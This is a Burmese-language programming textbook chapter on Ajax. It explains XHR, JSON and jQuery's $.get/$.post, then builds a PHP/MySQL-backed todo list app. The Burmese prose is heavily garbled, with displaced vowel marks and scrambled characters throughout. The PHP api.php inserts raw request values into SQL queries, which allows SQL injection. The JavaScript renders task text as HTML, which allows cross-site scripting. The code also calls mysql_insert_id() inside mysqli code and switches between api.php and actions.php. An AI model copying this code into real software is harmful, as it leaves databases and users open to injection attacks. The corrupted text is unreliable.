မဟတုရ်ေင်ိ တာ့ ပပဿနာတစ်စံုတစ်ရောိအကြာင့်  Request မိအာငပ်မင်ိ အကြာငး် ိဖောပ်ပမာှပဖေစ်ပါတယ်။ Ready State
နပံါတ်ိ တရွေဲ့  အဓပိ္ပါယ် ကုိြိဖောပ်ပိပးလိုက်ြပါတယ်။

0 - Request အစမပပုရေိသးပါ
1 - Server နငှ့် ချတိဆ်က်ြမပိါပပီ
2 - Request ကုိြ ိပးပို့ပပးီပါပပီ
3 - Server မ ှအလပုလ်ပု်ိ နပါပပီ
4 - Request ပပးီိပမာက်ြ၍ Respond လညး်လက်ြခရံေရေှိပပးီပါပပီ 

ဒလီို  XHR  အကူြအညနီဲ့  Request  ိတကုိွြ  JavaScript  နဲ့ိ ပးပို့ပပးီ  Web  App  ိတရွေဲ့အလပုလ်ပုပ်ုံ  ကုိြ
Asynchronous  ပဖေစ်ိနိအာင်  ိရေးသားနိုငမ်ာှပဖေစ်ပါတယ်။  ဒီိ နရောမာှတစ်ခသုတပိပုပါ။  XHR  ကြ  HTTP  ရေဲ့
အလပုလ်ပုပ်ုံကုိြ ိပပာငး်လဲိ စပခငး် မဟတုပ်ါဘူး။  HTTP  ကြိတာ့ သဘာဝအတိုငး်  Request  ရေှိလာရေင်  Respond
ပပန်ိ ပးတယ်ဆိတုဲ့ အလပုကုိ်ြပလဲပု်ိ ပးိနမာှပါ။ XHR ဟာ Request ပပုလပုန်ညး် ိနာက်ြတစ်ခသုာ ပဖေစ်ပါတယ်။ 
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9.3 - XML or JSON
XHR Request  ိတကုိွြ လက်ြခစီံမဖံေို့ရေညရ်ေယ်ွဖေနတ်းီထားတဲ့  Server-side Script  ိတကွြ  HTML Document
ိတကုိွြ Respond မပပနသ်င့်ပါဘးူ။ XHR Request ိတဟွာ JavaScript ကြိနပပုလပုပ်ခငး်ပဖေစ်ပပးီ အချက်ြအလက်ြ
ရေယူလိုလို့ (သုိ)့ လုပင်နး်တစ်ခု ိဆာငရ်ေက်ွြသွားိစလိုလို့ပပုလပုတ်ဲ့  Request ိတပွဖေစ်ပါတယ်။ HTML Structure
အပပည့်အစံုပါတဲ့  Web  Document  တစ်ခကုိုြလိုချငလ်ို့  ပပုလပုတ်ဲ့  Request  မျို းိတမွဟတုပ်ါဘူး။  HTML
Document  ကုိြ  Respond  ပပန်ိ ပးရေငလ်ညး်  XHR ကြိတာ့  Respond Content  အိနနဲ့လက်ြခထံားိပးမာှပါပ။ဲ
ဒါိပမယ့်  XHR Request  ိတကုိွြ  လက်ြခံိ ပဖေရေငှး်ဖေို့  တည်ိ ဆာက်ြထားတဲ့   Server-side  Script  ိတကွြ  Data
သက်ြသက်ြကိြ ုပပန်ိ ပးမသှာ သဘာဝကြျမာှ ပဖေစ်ပါတယ်။ 

Ajax နညး်ပညာစတငတ်ငွက်ြျယ်ချနိမ်ာှ အ့ဲဒလီို Data ကုိြ Respond ပပန်ိ ပးဖေို့အတက်ွြ အဓကိြသံုးတဲ့ Data Format
ကြိတာ့  XML  ပဖေစ်ပါတယ်။ ဒါိအကြာင့်လညး်  XHR  ရေဲ့အမညက်ြ  XMLHttpRequest ပဖေစ်ိနပခငး်ပဖေစ်ပပးီ  Ajax
အမညမ်ာှလညး် XML ပါဝင်ိ နပခငး် ပဖေစ်ပါတယ်။ ဒါိပမယ့် အခခုျနိမ်ာှိတာ့  XML ထက်ြ ပိုမိုရုိးရေငှး်တဲ့  JSON
ကုိြသာ  Respond Data  အတက်ွြပိုပပီးအသံုးများလာအကြပါတယ်။  JSON အိအကြာငး်ကုိြ  အခန်း  (၅) မာှ ိဖောပ်ပခဲ့ပပးီ
ပဖေစ်ပါတယ်။  ကြျွန်ိ တာတ်ို့  ဆက်ြလက်ြိဖောပ်ပမယ့်နမနူာိတမွာှ  Respond  Data  အတက်ွြ  JSON  ကုိြပဲ  အသံုးပပု
ိဖောပ်ပသွားိတာမ့ာှပါ။

9.4 - Components of Ajax Techniques
Ajax ဆုိတဲ့အိခါ်ကုိြမတိဆ်ကြခ်ဲ့တဲ့ Jesse James Garrett ရေဲ့အဆုိအရေ  Ajax နညး်စနစ်မာှ အခလုို နညး်ပညာိတ ွ
စုစညး်ပါဝင ်တယ်လို့ဆုိထားပါတယ်။

• HTML and CSS for presentation 
• DOM for dynamic display of and interaction with data 
• XML for the interchange of data
• XMLHttpRequest object for asynchronous communication 
• JavaScript to bring these technologies together

အ့ဲဒထီကဲြ HTML, CSS, JavaScript, DOM တို့ကုိြ ကြျွန်ိ တာတ်ိုိ့ လလ့ာ ထားခဲ့ပပးီပါပပ။ီ  XML အစား အသံုးပပု
မယ့် JSON ကုိြလညး်ိလလ့ာခဲ့ပပးီပါပပ။ီ XHR API အိအကြာငး်လညး် မတိဆ်က်ြိဖောပ်ပခဲ့ပါပပ။ီ တနညး်အားပဖေင့် သိ
သင့်တဲ့နညး် ပညာအားလုံး သိရေှိပပးီပဖေစ်ပါတယ။် ဒနီညး်ပညာိတကုိွြ လက်ြိတွ့ စုစညး် အသံုးချဖေို့သာ လုိအပပ်ါိတာ့
တယ်။

9.5 - Ajax with jQuery
Browser  ကြတစ်ဆင့်လပုတ်ဲ့  Request  ိတမွာှ၊  Request  ိပးပို့ပခငး်၊  ပပနလ်ညလ်က်ြခပံခငး်၊  ိဖောပ်ပပခငး်တို့ကုိြ
Browser  ကြပဲ  အားလုံးစီမပံပးီလပု်ိ ပးသွားမာှပါ။  ကြျွန်ိ တာတ်ို့ကြ  URL  ိလးတစ်ခုိ ပးလိုက်ြရေငရ်ေပါပပ။ီ  Ajax
Request  ိတပွပုလပု် တဲ့အခါမာှိတာ့  Request  စတငပ်ခငး်ကြိန Respond  လက်ြခရံေရေှိသညအ်ထိ ကုိြယ်တိုငစီ်မရံေ
မာှပဖေစ်လို့ စဉး်စားစရောိတရွေှိ လာပါတယ်။ ဥပမာ - URL နဲ့ Request Data ိတဟွာ သတမ်တှအ်ချက်ြအလက်ြိတွ
နဲ့  ကုိြက်ြညဖီေို့လိုလာပါတယ်။  URL  မာှလက်ြမခတံဲ့  Character  ိတပွါလာခဲ့  ရေင်  Encode  လုပ်ိ ပးဖေိုလ့ိုပါတယ်။
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ပပနလ်ညလ်က်ြခရံေရေှိတဲ့  Respond Data  ကုိြ လညး် Data Type ိပါ် မတူညပ်ပးီ  XML ဆုိရေင်  Parse  လုပဖ်ေိုလ့ိုပပးီ
JSON သုိမ့ဟတု်  Script ဆုိရေင်  Evaluate လပု် ိပးဖေိုိ့ တလွညး် လိုပါိသးတယ်။ Browser Support  မတညူတီဲ့
ပပဿနာကြလညး်ရေှိိ နပါိသးတယ်။ ဒါိအကြာင့် လက်ြိတွ့မာှ Ajax Web App ိတ ွဖေနတ်းီတဲ့အခါမာှ JavaScript
နဲ့ တုိက်ြရိုက်ြိရေးသားပခငး် အစား Ajax Framework ိတရွေဲ့အကူြအညနီဲ့သာိရေးအကြိလ ့ရေှိပါတယ်။

အခန်း (၅) မာှ jQuery ဟာ DOM Manipulation နဲ့ Ajax ကုိြ ပိုမိုရုိးစငး်လယ်ွကူြသွားိအာင် ဖေနတ်းီိပးထားတဲ့
Framework  တစ်ခပုဖေစ်ိအကြာငး်ိဖောပ်ပခဲ့ပါတယ်။ တနညး်အားပဖေင့်  jQuery  ဟာ  Ajax Framework  တစ်ခလုညး်
ပဖေစ်ပါတယ်။ jQuery ရေဲ့ထုံးစံအတိုငး် ိရေးသားပုံရိးုရေငှး်ိအာင် စီမံိ ပးထားပပးီ URL Encode လပုပ်ခငး်၊ Respond
Data Parse လုပပ်ခငး်စတဲ့ကိြစ္စအိတာ ်များများကိြု jQuery ကြကြျွန်ိ တာတ်ို့ကုိြယ်စား ိဆာငရ်ေက်ွြိပးသွားမာှ ပဖေစ်ပါ
တယ်။ jQuery အသံုးပပုပပးီ Ajax Request များပပုလပုပ်ုံကုိြ ဆက်ြလက်ြိဖောပ်ပိပးသွားပါမယ်။ jQuery မာှ Ajax
Request  ပပုလပုန်ိုငတ်ဲ့  Method  အမျို းမျို း ရေှိပါတယ်။ အ့ဲဒထီကဲြ အသံုးအဝင်ဆံုးပဖေစ်မယ့်  Method  နစ်ှခကုြိတာ့
$.get() နဲ့  $.post() တို့ပဖေစ်ပါတယ်။  GET  Request  Method  အသံုးပပုပပးီ  Request  လုပဖ်ေို့  အတက်ွြ
$.get() ကုိြသံုးနိုငပ်ပးီ POST အတက်ွြ $.post() ကုိြအသံုးနိုငပ်ါတယ်။

အခန်း (၅) မာှ jQuery DOM Manipulation အိအကြာငး်ိဖောပ်ပခဲ့စဉက်ြ jQuery Object ပဖေစ်တဲ့ Dollar Sign ကုိြ
Selector အိနနဲ့ အသံုးပပုခဲ့ပါတယ်။ Ajax အတက်ွြလညး် အ့ဲဒီ jQuery Object ကုိြပသံုဲးရေမာှပါ။ Selector အပဖေစ်
သံုးစဉ်ကြ jQuery Object  ိနာက်ြကြ ဝိုက်ြကွြငး်အဖေငွ့်အပတိန်ဲ့  CSS Selector  ကုိြထည့်သွင်းိပးရေပါတယ်။  Ajax
Request ိတအွတက်ွြိတာ ့jQuery Object ကြိနတစ်ဆင့် get() သုိမ့ဟတု ်post() Method တို့ကုိြတိုက်ြရုိက်ြ
ရေယူ အသံုးပပုပခငး်ပဖေစ်ပါတယ။် ိရေးသားပုံနမနူာကုိြ ပုံ (၉-ကြ) မာှိဖောပ်ပထားပါတယ်။

ပုံ (၉-ကြ) jQuery Ajax Method
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get() Method အသံုးပပုပုံကုိြ နမနူာအိနနဲ့ိ ဖောပ်ပထားပါတယ်။ Parameter (၄) ခထုိ သတမ်တှ်ိ ပးနိုငပ်ါတယ်။
ပထမဆံုး  တစ်ခပုဖေစ်တဲ့  URL  ကုိြသာ  မပဖေစ်မိနသတမ်တှ်ိ ပးဖေို့လိုပပးီ  ကြျန်  (၃)  ခကုြ  Optional  ပဖေစ်ပါတယ်။
Request Data  ရေှိခဲ့ရေင်  JSON အိနနဲ့ ဒတုယိ  Parameter  ိနရောမာှ ထည့်သွငး်ိပးနိုငပ်ါတယ်။  Request  ပပးီစီး
ချနိမ်ာှ ိဆာငရ်ေက်ွြိစလိုတဲ့ လုပ်ိ ဆာငခ်ျက်ြိတကုိွြိတာ့ တတယိ Parameter ိနရောမာှ Callback Function တစ်
ခု  အိနနဲ့  သတမ်တှ်ိ ပးထားနိုငပ်ါတယ်။  ိနာက်ြဆံုး  Parameter  တစ်ခကုြိတာ့  Respond  Data  Type  ပဖေစ်ပါ
တယ်။  နမနူာပုံမာှ  json လ့ုိ  သတမ်တှထ်ားပါတယ်။  မသတမ်တှခ်ဲ့ရေင်   Server   ကြိပးပိုလ့ာတဲ့  Response
Header မာှပါဝငတ်ဲ့ Content Type ကုိြအကြည့်ပပးီ jQuery ကြဆံုးပဖေတ်ိ ပးသွားမာှပဖေစ် ပါတယ်။

Server  ကြ ပပနလ်ည်ိ ပးပိုလ့ာတဲ့  Respond  Data  ိတကုိွြိတာ့  Callback  Function  ရေဲ့  Parameter  အိနနဲ့
လက်ြခနံိုငပ်ါတယ်။  နမနူာပုံမာှ  data လ့ုိသတမ်တှ်ိ ပးထားပါတယ်။  နစ်ှသက်ြရော  Variable  Name  ကုိြ  data
အစား အသုံးပပုနိုငပ်ါတယ်။

post() Method  ရေဲ့အသံုးပပုပုံကြ  get() အသံုးပပုပုံနဲ့အတတူပူါပ။ဲ  Request  Method  ပဲ  ကွြာသွားမာှ  ပဖေစ်ပါ
တယ်။  get() နဲ့  post() Method  နစ်ှခလုုံးကြ  jqXHR Object  ကုိြ ပပန်ိ ပးိလရ့ေှိပါတယ်။  jqXHR Object
ဟာ ပပုလပုလ်ိုက်ြတဲ့  Request  ရေဲ့  အိပခအိနကုိြစစ်ိဆးဖေို့ အသံုးဝငပ်ါတယ်။  done, fail, always ဆုိပပးီ
အိပခအိန (၃) ရေပန်ဲ့ လုပ်ိ ဆာငခ်ျက်ြိတ ွကုိြယ်စသီတမ်တှထ်ားနိုငပ်ါတယ်။  ဥပမာ - 

var obj = $.get("book-list.php");
obj.done( function() {
  // do something on request success
});

obj.fail( function() {
  // do something on request failure
});
obj.always( function() {
  // do something on request completion, either success or failure
});

(သုိမ့ဟတု်)

$.get("book-list.php").done( function() { … } )
                      .fail( function() { … } )
                      .always( function() { … } );

ဒနီညး်နဲ့  Request  ရေဲ့  ိအာငပ်မငမ်ှု၊ မိအာငပ်မငမ်ှုအိပခအိနိပါ်မတူညပ်ပးီ လပု်ိ ဆာငခ်ျက်ြကုိြယ်စီ သတမ်တှထ်ား
နိုငမ်ာှ ပဖေစ်ပါတယ်။
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9.6 - Persistence Todo List App
အခန်း (၅) မာှ jQuery နဲ့ Todo List App ိလးတစ်ခ ုတည်ိ ဆာက်ြခဲ့တာကုိြ သတရိေအကြဦးမာှပါ။ 

အ့ဲဒီ  Todo  List  App  ိလးဟာ  Interface  ပိုငး်လပု်ိ ဆာငခ်ျက်ြိတ ွ ပပည့်စံုပပီးပဖေစ်ပါတယ်။  Task  အသစ်ိတွ
ထည့်သွငး်နိုငပ်ါတယ်။ ထည့်သွငး်ထားတဲ့  Task  ိတကုိွြ ပယ်ဖေျက်ြနိုငပ်ါတယ်။ ိဆာငရ်ေက်ွြပပီး  Task  များကုိြ ပပးီစီး
ိအကြာငး်  Check  လပု်ိ ပးနိုငပ်ါတယ်။ သူမ့ာှလိုအပ်ိ နတာကြိတာ့  JavaScript (jQuery)  သက်ြသက်ြနဲ့  ိရေးသား
ထားတဲ့အတက်ွြ အချက်ြအလက်ြိတကုိွြ အပမသိဲမး်ဆညး်မထားနိုငပ်ခငး်ပဖေစ်ပါတယ်။ ဒါိအကြာင့် Browser ကုိြ Reload
လပုလ်ိုက်ြရေင ်ထည့်သွငး်ထားတဲ့အချက်ြ အလက်ြိတ ွပပနလ်ညကွ်ြယ်ိပျာက်ြသွားမာှပဖေစ်ပါတယ်။

အချက်ြအလက်ြိတကုိွြ  MySQL Database  မာှ  သိမး်ဆညး်ထားနိုင်ိ စမယ့်  လပု်ိ ဆာငခ်ျက်ြိတကုိွြ  Ajax  နညး်
စနစ် အသံုးပပုပပးီပဖေည့်စွက်ြချငပ်ါတယ်။ ပထမဦးဆံုးအိနနဲ့ htdocs Folder ထမဲာှ todo အမညန်ဲ့ Folder တစ်ခု
တည်  ိဆာက်ြိပးပါ။  todo Folder  ထဲမာှ  index.php,  jquery.js,  app.js,  style.css,
api.php စတဲ့ File များဆက်ြလက်ြ တည်ိ ဆာက်ြိပးပါ။

todo/ 
|-- index.php
|-- jquery.js
|-- app.js
|-- style.css
|-- api.php

jquery.js ကုိြရေရေှိဖေိုအ့တက်ွြ  jquery.com ကြိန Download  ရေယူရေမာှပဖေစ်ပါတယ်။  index.php,
style.css နဲ့  app.js တို့အတငွ်းမာှ ထည့်သွင်း ိပးရေမာှိတကွြိတာ့ ကြျွန်ိ တာတ်ို့  အခန်း(၅) မာှ ိရေးသားခဲ့
ပပးီပဖေစ်တဲ့ HTML, CSS, JavaScript ိတပွပဲဖေစ်ပါတယ်။ ပပနလ်ည်ိ ဖောပ်ပိပးလိုက်ြပါတယ် - 

http://jquery.com/
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[ index.php တငွထ်ည့်သွင်းရေန ် ]

<!doctype html> 
<html> 
<head> 
  <meta charset="UTF-8"> 
  <title>Todo</title> 
  <link rel="stylesheet" href="style.css"> 
</head> 
<body> 
  <div id="wrap"> 
    <h1>Task List <span>0</span></h1> 
    <ul id="tasks"></ul> 
    <ul id="done"></ul> 

    <div id="new-task"> 
    <input type="text" /><button>+</button> 
    </div> 
  </div> 
  
  <script src="jquery.js"></script> 
  <script src="app.js"></script> 
</body> 
</html>

[ style.css တငွထ်ည့်သွင်းရေန ်]

#wrap { 
  width: 360px; 
  margin: 20px auto; 
  padding: 20px; 
  border: 6px solid #DDD; 
  overflow: hidden; 
}

h1 { 
  margin: 0 0 20px 0; 
  padding: 0 0 5px 0; 
  font-size: 18px; 
  border-bottom: 1px solid #DDD; 
}
h1 span { 
  float: right; 
  display: block; 
  background: #9cf; 
  font-size: 12px; 
  padding: 2px 6px; 
  color: #FFF; 
} 

ul { 
  list-style: none; 
  margin: 0; 
  padding: 0; 
}
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ul li { 
  overflow: hidden; 
  padding: 4px 0; 
} 

li input, li span { 
  float: left; 
  margin-right: 6px; 
} 

li a { 
  float: right; 
  text-decoration: none; 
  font-weight: bold; 
  color: #900; 
  padding: 0 8px; 
  display: none ;
} 
li:hover a { 
  display: inline; 
} 

#new-task { 
  margin-top: 20px; 
  padding-top: 10px; 
  border-top: 1px solid #efefef; 
  overflow: hidden; 
} 
#new-task input { 
  border: 1px solid #DDD; 
  border-right: 0 none; 
  padding: 2px; 
  width: 240px; 
  height: 20px; 
  float: left; 
} 
#new-task button { 
  width: 30px; 
  border: 1px solid #DDD; 
  background: #eee; 
  font-weight: bold; 
  color: #666; 
  padding: 2px 2px 3px 2px; 
  float: left; 
} 
#done { 
  line-height: 18px; 
  margin-bottom: 10px; 
} 
#done span { 
  text-decoration: line-through; 
  font-size: 12px; 
  color: #999;
}
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[ app.js တငွ ်ထည့်သွငး်ရေန် ]

$(document).ready(function() { 
  $("#new-task button").click(function() { 
    var task = $("#new-task input").val(); 
 
    if(!task) return false; 

    buildTask(task).appendTo("#tasks"); 
    $("h1 span").html( $("#tasks li").length ); 

    $("#new-task input").val("").focus(); 
  }); 

  $("#new-task input").keydown(function(e) { 
    if(e.which == 13) 
      $("#new-task button").click(); 
  }); 
});
function buildTask(msg) { 
  var checkbox = $("<input>", { 
    type: "checkbox" 
  }).click(function() { 
    if($(this).is(":checked")) {
      $(this).parent().prependTo("#done"); 
    } else  {
      $(this).parent().appendTo("#tasks"); 
    }

     $("h1 span").html( $("#tasks li").length ); 
  }); 

  var task = $("<span>").html(msg); 

  var del = $("<a>", { 
    href: "#" 
  }).html("&times;").click(function() { 
    $(this).parent().remove(); 
    $("h1 span").html( $("#tasks li").length ); 
  }); 

  return $("<li>").append(checkbox).append(task).append(del); 
}

ဒအီထအိားလုံးပပည့်စံုိအာင ်ထည့်သွင်းပပးီပပဆိီရုေင် Browser URL Bar မာှ http://localhost/todo/ လ့ုိထည့်သွင်း
စမး်သပန်ိုငပ်ါပပ။ီ  မလူအလပုလ်ပုပ်ုံအတိုငး်  JavaScript  Todo  List  App  ကုိြ  ပပနလ်ညရ်ေရေှိမာှပဖေစ်ပါတယ်။
အချက်ြအလက်ြိတ ွသိမး်ဆည်းဖေို့အတက်ွြ  Database  Table  တည်ိ ဆာက်ြပခငး်နဲ့  လုိအပတ်ဲ့   PHP Code  ိတွ
ိရေးသားပခငး်ကုိြ ဆက်ြလက်ြိဆာင် ရေက်ွြရေမာှပဖေစ်ပါတယ်။ PHP Code ိတ ွပါဝငလ်ာိတာမ့ာှပဖေစ်လို့ ယခင်ိ ရေးသား
ခဲ့ပပးီသား အတိုငး်မသံုးပဲ  htdocs Folder ထဲမာှ အသစ်ပပနလ်ည ်တည်ိ ဆာက်ြိနပခငး်လညး်ပဖေစ်ပါတယ်။

http://localhost/todo/
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လက်ြရေှိိ ရေးသားထားတဲ့ jQuery Code ိတရွေဲ့  အဓပိ္ပါယကုိ်ြ မတှမ်အိကြလမိ့်ဦးမယ်လို့ ထငပ်ါတယ်။ အကြယ၍် ိမ့ိ နခဲ့
ရေငလ်ညး် အခနး်(၅) မာှပပဲပနလ်ည်ိ လလ့ာအကြည့်ိ ပးပါ။ ဒီိ နရောမာှိတာ့ ဆက်ြလက်ြပဖေည့်စွက်ြမယ့် Ajax နညး်စနစ်
ပိုငး် ကုိြပ ဲပဖေည့်စွက်ြိဖောပ်ပိပးိတာမ့ာှပါ။

ဆက်ြလက်ြပပးီ  phpMyAdmin  ကြိန todo အမညန်ဲ့  Database  တစ်ခတုည်ိ ဆာက်ြိပးပါ။  အ့ဲဒီ  todo
Database ထဲမာှမှ tasks အမညန်ဲ့ Table တစ်ခဆုက်ြလက်ြတည်ိ ဆာက်ြိပးပါ။ tasks Table မာှ ပါဝငရ်ေမယ့်
Column ိတ ွကြိတာ ့အခပုဖေစ်ပါတယ် - 

tasks Table
id - INT - PRIMARY - Auto Increment
subject - VARCHAR (255)
status - INT (1)
created_date - DATETIME

Column  (၄)  ခပုါဝငပ်ါတယ်။  သိမး်ဆညး်လိုတဲ့အဓိကြအချက်ြကြ  Task  subject ပါ။  status Column
ကြိတာ့  Task ရေဲ့  ိဆာငရ်ေက်ွြပပးီစီးမှုအိပခအိနကြို မတှသ်ားဖေို့ပဖေစ်ပါတယ်။  ပပည့်စံုဖေိုဆုိ့ရေင်  Task Priority, Due
Date, Task Detail စတဲ့ အချက်ြိတ ွပါဝငသ်င့်ပါိသးတယ်။ ဒါိပမယ့် Code နမနူာိဖောပ်ပတဲ့အခါ အတက်ြနိုင်ဆံုး
ရုိးရေငှး်ိစလိုတဲ့အတက်ွြ  အ့ဲဒီအချက်ြိတ ွ မထည့်သွငး်ိတာပ့ါဘူး။  Task  Subject  နဲ့  Status  ကုိြပသိဲမး်ဆညး်ပါ
ိတာမ့ယ်။ စမး်သပန်ိုငဖ်ေိုအ့တက်ွြ Task တစ်ချို ့ကုိြ လညး် phpMyAdmin ကြိနပဲ ကကိြုတငထ်ည့်သွင်းိပးထားသင့်
ပါတယ်။

Server-side Scripts
ဆက်ြလက်ြပပးီ  api.php ထဲမာှ  ိပးပိုလ့ာတဲ့  Request  Data  ကုိြ  tasks Table  ထဲမာှ  သိမး်ဆညး်ိပးပခငး်၊
ပပနလ်ညရ်ေယူိပးပခငး်၊ ပယ်ဖေျက်ြိပးဖေျက်ြိပးပခငး် စတဲ့လပု်ိ ဆာငခ်ျက်ြိတအွတက်ွြ PHP Code ိတ ွိရေးသားိပး
ပါမယ်။  အဓကိြလပု်ိ ဆာငခ်ျက်ြ  (၅)  ခရုေှိမာှပဖေစ်ပပးီ  (၅)  ခလုုံးကြို  api.php Script  တစ်ခတုညး်မာှပဲ  စုိပါင်း
ိရေးသားထားမာှပါ။ 

၁.) ရေှိိ နသည့် Tasks စာရေငး်ရေယူပခင်း
၂.) Task အသစ်ထည့်သွငး်ပခငး်
၃.) Task များပယ်ဖေျက်ြပခင်း
၄.) ပပးီစီးိအကြာငး် Status မတှသ်ားပခင်း
၅.) မပပးီစီးိသးိအကြာငး် Status မတှသ်ားပခင်း

- တို့ပဖေစ်ပါတယ်။ ိအာက်ြမာှိပးထားတဲ့  Code ကုိြ api.php ထဲမာှ ကူြးယူထည့်သွငး်ိပးပါ။
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<?php 
  $conn = mysqli_connect("localhost", "root", ""); 
  mysqli_select_db($conn, "todo"); 

  $action = $_REQUEST['action'];

  switch($action) { 
    case "get": 
      get_all_tasks(); 
      break; 
    case "add": 
      add_task(); 
      break; 
    case "del": 
      del_task(); 
      break; 
    case "done": 
      done_task(); 
      break; 
    case "undo": 
      undo_task(); 
      break; 
    default: 
      unknown_action(); 
  } 

  function get_all_tasks() {
    global $conn; 
    $result = mysqli_query($conn, "SELECT * FROM tasks"); 

    $tasks = array(); 
    while($row = mysqli_fetch_assoc($result)) { 
      $tasks[] = $row; 
    } 

    echo json_encode($tasks); 
  } 

  function add_task() { 
    global $conn;
    $subject = $_POST['subject']; 

    $result = mysqli_query($conn, "INSERT INTO tasks (subject, created_date) 
                             VALUES ('$subject', now())"); 
    if($result) { 
      $id = mysql_insert_id();
      echo json_encode(array("err" => 0, "id" => $id)); 
    } else { 
      echo json_encode(array("err" => 1, "msg" => "Unable to insert task")); 
    } 
  } 
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  function del_task() { 
    global $conn;
    $id = $_POST['id'];
 
    $result = mysqli_query($conn, "DELETE FROM tasks WHERE id = $id"); 
    if($result) { 
      echo json_encode(array("err" => 0)); 
    } else { 
      echo json_encode(array("err" => 1, "msg" => "Unable to delete task")); 
    } 
  } 

  function done_task() { 
    global $conn;
    $id = $_POST['id']; 

    $result = mysqli_query($conn, 
"UPDATE tasks SET status = 1 WHERE id = $id"); 

    if($result) { 
      echo json_encode(array("err" => 0)); 
    } else { 
      echo json_encode(array("err" => 1, "msg" => "Unable to update status"));
    } 
  } 

  function undo_task() { 
    global $conn;
    $id = $_POST['id']; 

    $result = mysqli_query($conn, 
"UPDATE tasks SET status = 0 WHERE id = $id"); 

    if($result) { 
      echo json_encode(array("err" => 0)); 
    } else { 
      echo json_encode(array("err" => 1, "msg" => "Unable to update status"));
    } 
  } 

  function unknown_action() { 
    echo json_encode(array("err" => 1, "msg" => "Unknown Action")); 
  } 
?> 

ပထမဆံုးအိနနဲ့  Database  ချတိဆ်က်ြပခငး် ိဆာငရ်ေက်ွြပပးီိနာက်ြ  Request Data  အိနနဲ့ပါဝငလ်ာတဲ့  action
ကုိြ စစ်ိဆးပပးီ ဘယ်  action ဆုိရေငဘ်ယ်  Function  ကုိြ အလပုလ်ပု်ိ ပးရေမလဲ  switch Statement  နဲ့  ခွဲပခား
သတမ်တှ်ိ ပးပါတယ်။  action ကြ get ဆုိရေင်  get_all_tasks() Function  ကုိြ အလပုလ်ပု်ိ ပးမာှ ပဖေစ်ပါ
တယ်။  Browser  URL  Bar  မာှ  http://localhost/todo/api.php?action=get လို့ထည့်သွငး်အကြည့်ရေင်  အခလုို
ရေလဒမ်ျို းကုိြ ရေရေှိမာှပဖေစ်ပါတယ။်

[{"id":"1","subject":"Something to do","status":"0", "created_date":"2013-05-15 
12:59:20"},{"id":"2","subject":"Yet another thing to do","status":"0", 
"created_date":"2013-05-15 12:59:20"}] 

http://localhost/todo/actions.php?action=get
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api.php  ထမဲာှ လပု်ိ ဆာငခ်ျက်ြိတ ွအများကကီြးိရေးသားထားိပမယ့်  Request  နဲ့အတူ  action=get ဆုိတဲ့
တနဖ်ေိုး ပါဝငလ်ာတဲ့အတက်ွြ get_all_tasks() Function တစ်ခတုညး်ကုိြပဲ အလပုလ်ပုသွ်ားပခငး်ပဖေစ်ပါတယ်။
get_all_tasks() Function ကြ tasks Table ထဲမာှ ရေှိသမျှ Record ိတကုိွြ ဆဲွထတုပ်ပးီ $tasks Array
ထမဲာှစုစညး် ထည့်သွငး်ပါတယ်။ ပပးီိတာမ့ှ အ့ဲဒီ Array ကုိြ json_encode() Function နဲ့ JSON Format ပဖေစ်
ိအာင်ိ ပပာငး်ပပီး echo နဲ့ ရုိက်ြထတု်ိ ပးထားလို့ အခလုို ရေလဒကုိ်ြရေရေှိတာပဖေစ်ပါတယ်။

Browser မာှ http://localhost/todo/api.php လို့ပထဲည့်သွငး်အကြည့်ရေင်ိ တာ ့ရေလဒက်ြအခလုို ပဖေစ်မာှပါ။

{"err":1,"msg":"Unknown Action"}

Request  နဲ့အတူ  action Query Value  ပါဝငလ်ာပခငး်မရေှိလို့  case  တစ်ခနုဲ့မမှကုိြက်ြညတီဲ့အတက်ွြ  default
အပဖေစ်  သတမ်တှထ်ားတဲ့  unknown_action() Function  ကုိြအလပုလ်ပု်ိ ပးသွားပခင်းပဖေစ်ပါတယ်။  ကြျန်
Function ိတကွြိတာ့ သက်ြဆုိငရ်ောလပုင်နး်အလိုက်ြ Task ထည့်သွငး်ပခငး်၊ ပယ်ဖေျက်ြပခငး်၊  Status Update လုပ်
ပခငး်တို့ကုိြ  ိဆာငရ်ေက်ွြိပးထားပခငး်  ပဖေစ်ပါတယ်။ ိရေးသားထားတဲ့  Code  ကုိြိလလ့ာအကြည့်ရေင်  Function  တစ်ခု
ပခငး်စီရေဲ့အလပုလ်ပု ်ပုံကုိြ နားလညန်ိုငမ်ယ်လို့ ယူဆပါတယ်။

Adding Ajax Requests
ဆက်ြလက်ြပပးီ  app.js မာှ  Ajax  လပု်ိ ဆာငခ်ျက်ြိတထွည့်သွငး်ပါမယ်။  ပထမအဆင့်အိနနဲ့  buildTask()
Function ကုိြ အခလုိုပပုပပင်ိ ပးပါ။

function buildTask(msg, id) { 
  var checkbox = $("<input>", { 
    type: "checkbox" 
  }).click(function() { 
    if($(this).is(":checked")) {
      $(this).parent().prependTo("#done"); 
    } else {
      $(this).parent().appendTo("#tasks");
    }

     $("h1 span").html( $("#tasks li").length ); 
  }); 

  var task = $("<span>").html(msg); 
  var del = $("<a>", { 
    href: "#" 
  }).html("&times;").click(function() { 
    $(this).parent().fadeOut(function () { 
      $(this).remove(); 
      $("h1 span").html( $("#tasks li").length ); 
    }); 
  }).hide();

  return $("<li>").data("id", id).append(checkbox) .append(task) .append(del);
}

http://localhost/todo/actions.php
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ပပငဆ်ငရ်ေမယ့်ိနရောကုိြ  Highlight  လပု်ိ ပးထားပါတယ်။ ဒအီဆင့မ်ာှ ကြျန်  Code ိတကွြိတာ့ အိပပာငး်အလမဲရေှိ
အတတူပူါပ။ဲ  တစ်ချို ့  ကိြစ္စ တကုိွြ  Record  ID  သိရေမှ  အလပုလ်ပုန်ိုငမ်ာှပဖေစ်လို့  Task  List  ရုိက်ြထတုစ်ဉမ်ာှ  id
တနဖ်ေိုးကုိြ  jQuery  ရေဲ့  data() Function  အသံုးပပုပပးီ သက်ြဆုိငရ်ော  <li> Element  နဲ့အတူ တွဲဖေက်ြထည့်သွငး်
ိပးထားပခငး်ပဖေစ်ပါတယ်။

ဆက်ြလက်ြပပးီ  Page  Load  လပုတ်ဲ့အချနိမ်ာှ  tasks  Table  ထကဲြ  Record  ိတကုိွြရေယူပပးီိဖောပ်ပချငပ်ါတယ်။  ဒါ
ိအကြာင့်  $(document).ready() အတငွး်တစ်ိနရောမာှ ိအာက်ြပါ Code ကုိြ ပဖေည့်စွက်ြိပးပါ။

$.get("api.php", {action: "get"}, function( tasks ) { 

  $.each(tasks, function(index, task) { 
    if( task.status == 1 ) {
      buildTask( task.subject, task.id ).appendTo("#done"); 
    } else { 
      buildTask( task.subject, task.id ).appendTo("#tasks"); 
    }
  });

